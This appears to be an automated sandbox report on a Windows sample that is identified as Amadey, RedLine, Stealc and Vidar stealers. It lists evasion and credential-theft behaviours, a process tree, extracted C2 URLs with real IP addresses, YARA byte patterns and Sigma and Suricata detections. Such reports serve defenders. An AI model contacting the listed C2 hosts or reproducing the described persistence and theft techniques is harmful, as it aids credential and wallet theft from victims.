Edit tour

Windows Analysis Report
JGKjBsQrMc.exe

Overview

General Information

Sample name:	JGKjBsQrMc.exe renamed because original name is a hash value
Original sample name:	6f59ce88b52487bba7eb59e81525c4f5.exe
Analysis ID:	1482833
MD5:	6f59ce88b52487bba7eb59e81525c4f5
SHA1:	83bb1abc3bd3b56bec0a68d6cd0df63bcf975ad6
SHA256:	6dd3d6081f01c1fb88b36ecd336005ab3571876be404efe416a7248866868191
Tags:	32exe
Infos:

Detection

Amadey, Babadeda, RedLine, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Amadeys stealer DLL

Yara detected Babadeda

Yara detected Powershell download and execute

Yara detected RedLine Stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

JGKjBsQrMc.exe (PID: 7044 cmdline: "C:\Users\user\Desktop\JGKjBsQrMc.exe" MD5: 6F59CE88B52487BBA7EB59E81525C4F5)

explorti.exe (PID: 6004 cmdline: "C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" MD5: 6F59CE88B52487BBA7EB59E81525C4F5)

explorti.exe (PID: 6488 cmdline: C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 6F59CE88B52487BBA7EB59E81525C4F5)

explorti.exe (PID: 7840 cmdline: C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 6F59CE88B52487BBA7EB59E81525C4F5)

cda9e1cbbc.exe (PID: 8108 cmdline: "C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe" MD5: 278D770F363DA10C7F7EB1A9C653CCF0)

e0dbbf79bf.exe (PID: 6468 cmdline: "C:\Users\user\1000003002\e0dbbf79bf.exe" MD5: CF96C7B65A488315A06387268BE0014C)

cmd.exe (PID: 1104 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\738B.tmp\738C.tmp\738D.bat C:\Users\user\1000003002\e0dbbf79bf.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 1108 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3672 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 180 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7460 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2156,i,341108890584334873,10938886739958985081,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

firefox.exe (PID: 5924 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7116 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1180 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7040 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a97c0989-9dbf-48c2-9f5d-758311f95aef} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f3ef56af10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2196 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4488 -parentBuildID 20230927232528 -prefsHandle 1068 -prefMapHandle 3468 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbe57e93-4224-4c4c-a56e-574ee6529207} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f401a2df10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

msedge.exe (PID: 1340 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6188 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2728 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8284 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7036 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8348 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7220 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8868 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7936 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cda9e1cbbc.exe (PID: 5332 cmdline: "C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe" MD5: 278D770F363DA10C7F7EB1A9C653CCF0)

e0dbbf79bf.exe (PID: 8992 cmdline: "C:\Users\user\1000003002\e0dbbf79bf.exe" MD5: CF96C7B65A488315A06387268BE0014C)

cmd.exe (PID: 9040 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\B8C2.tmp\B8C3.tmp\B8F3.bat C:\Users\user\1000003002\e0dbbf79bf.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 9088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 9108 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account" MD5: 69222B8101B0601CC6663F8381E7E00F)

firefox.exe (PID: 9176 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Babadeda	According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines.	No Attribution	https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities	https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.31/5499d72b3a3e55be.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.31silence"}

Threatname: Amadey

{"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
C:\Users\user\1000003002\e0dbbf79bf.exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.1318379606.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1275086044.0000000004A30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.1372649130.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.2537949533.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000025.00000002.2534257510.00000000025D1000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xb38:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000003.1320945755.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.1317907392.0000000005470000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.2059650940.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.2541855344.00000000025ED000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x12a0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000002.2548613207.00000000040B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.1359759408.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: cda9e1cbbc.exe PID: 8108	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: cda9e1cbbc.exe PID: 8108	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: cda9e1cbbc.exe PID: 8108	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: cda9e1cbbc.exe PID: 8108	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: cda9e1cbbc.exe PID: 5332	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: cda9e1cbbc.exe PID: 5332	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author
20.2.e0dbbf79bf.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
20.0.e0dbbf79bf.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
43.2.e0dbbf79bf.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
43.0.e0dbbf79bf.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
6.2.explorti.exe.ea0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.explorti.exe.ea0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.explorti.exe.ea0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.JGKjBsQrMc.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 7840, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cda9e1cbbc.exe

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe, ProcessId: 8108, TargetFilename: C:\Users\user\AppData\RoamingJDHCBAEHJJ.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 7840, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cda9e1cbbc.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ParentCommandLine: "C:\Users\user\Desktop\JGKjBsQrMc.exe", ParentImage: C:\Users\user\Desktop\JGKjBsQrMc.exe, ParentProcessId: 7044, ParentProcessName: JGKjBsQrMc.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" , ProcessId: 6004, ProcessName: explorti.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T08:57:55.363226+0200
SID:	2009080
Source Port:	80
Destination Port:	49756
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC Activity - Source IP: 192.168.2.7 - Destination IP: 20.52.165.210

Timestamp:	2024-07-26T08:58:35.163851+0200
SID:	2043231
Source Port:	49223
Destination Port:	39030
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054 - Source IP: 85.28.47.31 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T08:57:54.708634+0200
SID:	2002725
Source Port:	80
Destination Port:	49756
Protocol:	TCP
Classtype:	Web Application Attack

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.7 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T08:58:27.228648+0200
SID:	2044696
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 185.215.113.16 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T08:58:05.863035+0200
SID:	2856122
Source Port:	80
Destination Port:	49807
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T08:57:40.212177+0200
SID:	2011803
Source Port:	80
Destination Port:	49709
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE Redline Stealer TCP CnC Activity - Source IP: 192.168.2.7 - Destination IP: 20.52.165.210

Timestamp:	2024-07-26T08:58:34.057325+0200
SID:	2043231
Source Port:	49223
Destination Port:	39030
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T08:57:40.211195+0200
SID:	2011803
Source Port:	80
Destination Port:	49709
Protocol:	TCP
Classtype:	Executable code was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T08:56:25.886658+0200
SID:	2022930
Source Port:	443
Destination Port:	49699
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T08:57:04.074054+0200
SID:	2022930
Source Port:	443
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.70 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T08:58:38.827370+0200
SID:	2011803
Source Port:	80
Destination Port:	49239
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.7 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T08:58:25.234377+0200
SID:	2803305
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T08:57:40.301250+0200
SID:	2011803
Source Port:	80
Destination Port:	49709
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE Redline Stealer TCP CnC Activity - Source IP: 192.168.2.7 - Destination IP: 20.52.165.210

Timestamp:	2024-07-26T08:58:29.951520+0200
SID:	2043231
Source Port:	49223
Destination Port:	39030
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC Activity - Source IP: 192.168.2.7 - Destination IP: 20.52.165.210

Timestamp:	2024-07-26T08:58:35.343395+0200
SID:	2043231
Source Port:	49223
Destination Port:	39030
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T08:57:40.034678+0200
SID:	2803304
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.7 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T08:58:38.896187+0200
SID:	2044696
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC Activity - Source IP: 192.168.2.7 - Destination IP: 20.52.165.210

Timestamp:	2024-07-26T08:58:30.921721+0200
SID:	2043231
Source Port:	49223
Destination Port:	39030
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC Activity - Source IP: 192.168.2.7 - Destination IP: 20.52.165.210

Timestamp:	2024-07-26T08:58:32.872492+0200
SID:	2043231
Source Port:	49223
Destination Port:	39030
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.7 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T08:58:15.870077+0200
SID:	2803305
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T08:57:36.742894+0200
SID:	2044247
Source Port:	80
Destination Port:	49709
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Redline Stealer TCP CnC Activity - Source IP: 192.168.2.7 - Destination IP: 20.52.165.210

Timestamp:	2024-07-26T08:58:33.876313+0200
SID:	2043231
Source Port:	49223
Destination Port:	39030
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.7 - Destination IP: 85.28.47.70

Timestamp:	2024-07-26T08:58:37.823346+0200
SID:	2044244
Source Port:	49239
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Redline Stealer TCP CnC Activity - Source IP: 192.168.2.7 - Destination IP: 20.52.165.210

Timestamp:	2024-07-26T08:58:30.317950+0200
SID:	2043231
Source Port:	49223
Destination Port:	39030
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.7 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T08:58:15.622015+0200
SID:	2044696
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.7 - Destination IP: 85.28.47.70

Timestamp:	2024-07-26T08:58:37.637355+0200
SID:	2044243
Source Port:	49239
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

